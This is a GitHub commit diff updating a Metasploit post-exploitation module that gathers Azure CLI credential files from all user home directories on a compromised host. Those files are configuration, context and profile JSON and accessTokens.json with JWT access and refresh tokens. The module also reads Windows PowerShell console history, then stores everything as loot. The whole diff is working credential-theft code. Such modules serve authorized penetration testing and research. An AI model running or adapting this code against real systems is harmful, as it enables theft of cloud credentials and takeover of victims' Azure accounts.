Skip to content

Commit 99b3b60

Browse files
authored
Update azure_cli_creds.rb
1 parent 7594a41 commit 99b3b60

File tree

1 file changed

+51
-31
lines changed

1 file changed

+51
-31
lines changed

modules/post/multi/gather/azure_cli_creds.rb

Lines changed: 51 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,8 @@
11
##
2-
# This module requires Metasploit: https://metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'json'
7-
86
class MetasploitModule < Msf::Post
97
include Msf::Post::File
108
include Msf::Post::Unix
@@ -15,7 +13,7 @@ def initialize(info = {})
1513
super(
1614
update_info(
1715
info,
18-
'Name' => 'Multi Gather Azure CLI Credentials',
16+
'Name' => 'Azure CLI Credentials Gatherer',
1917
'Description' => %q{
2018
This module will collect the Azure CLI 2.0 (az cli) settings files
2119
for all users on a given target. These configuration files contain
@@ -66,10 +64,10 @@ def user_dirs
6664
end
6765

6866
def run
69-
subscription_table = Rex::Text::Table.new(
67+
profile_table = Rex::Text::Table.new(
7068
'Header' => 'Subscriptions',
7169
'Indent' => 1,
72-
'Columns' => ['Source', 'Account Name', 'Username', 'Cloud Name']
70+
'Columns' => ['Account Name', 'Username', 'Cloud Name']
7371
)
7472
tokens_table = Rex::Text::Table.new(
7573
'Header' => 'Tokens',
@@ -88,9 +86,8 @@ def run
8886

8987
# ini file content, not json.
9088
vprint_status(' Checking for config files')
91-
%w[.azure/config].each do |file_location|
89+
%w[.azure/config .Azure/config].each do |file_location|
9290
possible_location = ::File.join(user_directory, file_location)
93-
next unless exists?(possible_location)
9491
next unless readable?(possible_location)
9592

9693
data = read_file(possible_location)
@@ -102,9 +99,8 @@ def run
10299
end
103100

104101
vprint_status(' Checking for context files')
105-
%w[.azure/AzureRmContext.json].each do |file_location|
102+
%w[.azure/AzureRmContext.json .Azure/AzureRmContext.json].each do |file_location|
106103
possible_location = ::File.join(user_directory, file_location)
107-
next unless exists?(possible_location)
108104
next unless readable?(possible_location)
109105

110106
data = read_file(possible_location)
@@ -119,36 +115,60 @@ def run
119115
end
120116
end
121117

122-
%w[.azure/accessTokens.json .azure/azureProfile.json].each do |file_location|
118+
vprint_status(' Checking for profile files')
119+
%w[.azure/azureProfile.json .Azure/azureProfile.json].each do |file_location|
120+
possible_location = ::File.join(user_directory, file_location)
121+
next unless readable?(possible_location)
122+
123+
data = read_file(possible_location)
124+
next unless data
125+
126+
loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'
127+
print_good " #{file_location} stored in #{loot}"
128+
data = parse_json(data)
129+
results = process_profile_file(data)
130+
results.each do |result|
131+
profile_table << result
132+
end
133+
end
134+
135+
%w[.azure/accessTokens.json].each do |file_location|
136+
possible_location = ::File.join(user_directory, file_location)
137+
next unless readable?(possible_location)
138+
139+
data = read_file(possible_location)
140+
next unless data
141+
142+
loot = store_loot 'azure.token.json', 'text/json', session, data, file_location, 'Azure CLI Tokens'
143+
print_good " #{file_location} stored in #{loot}"
144+
results = process_tokens_file(data)
145+
results.each do |result|
146+
tokens_table << result
147+
end
148+
end
149+
end
150+
151+
# windows only
152+
if session.platform == 'windows'
153+
vprint_status(' Checking for console history files')
154+
['%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'].each do |file_location|
123155
possible_location = ::File.join(user_directory, file_location)
124-
next unless exists?(possible_location)
156+
next unless readable?(possible_location)
125157

126158
data = read_file(possible_location)
127159
next unless data
128160

129-
vprint_status("Found az cli file #{possible_location}")
130-
if file_location.end_with?('accessTokens.json')
131-
loot_type = 'azurecli.jwt_tokens'
132-
description = 'Azure CLI access/refresh JWT tokens'
133-
process_tokens_file(possible_location, data).each do |item|
134-
tokens_table << item
135-
end
136-
elsif file_location.end_with?('config')
137-
loot_type = 'azurecli.config'
138-
description = 'Azure CLI configuration'
139-
elsif file_location.end_with?('azureProfile.json')
140-
loot_type = 'azurecli.azure_profile'
141-
description = 'Azure CLI profile'
142-
process_profile_file(possible_location, data).each do |item|
143-
subscription_table << item
144-
end
161+
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, file_location, 'Azure CLI Profile'
162+
print_good " #{file_location} stored in #{loot}"
163+
164+
results = print_consolehost_history(data)
165+
results.each do |result|
166+
print_good(result)
145167
end
146-
stored = store_loot(loot_type, 'text/plain', session, data, file_location, description)
147-
print_good("#{possible_location} stored to #{stored}")
148168
end
149169
end
150170

151-
print_good(subscription_table.to_s) unless subscription_table.rows.empty?
171+
print_good(profile_table.to_s) unless profile_table.rows.empty?
152172
print_good(tokens_table.to_s) unless tokens_table.rows.empty?
153173
print_good(context_table.to_s) unless context_table.rows.empty?
154174
end

0 commit comments

Comments
 (0)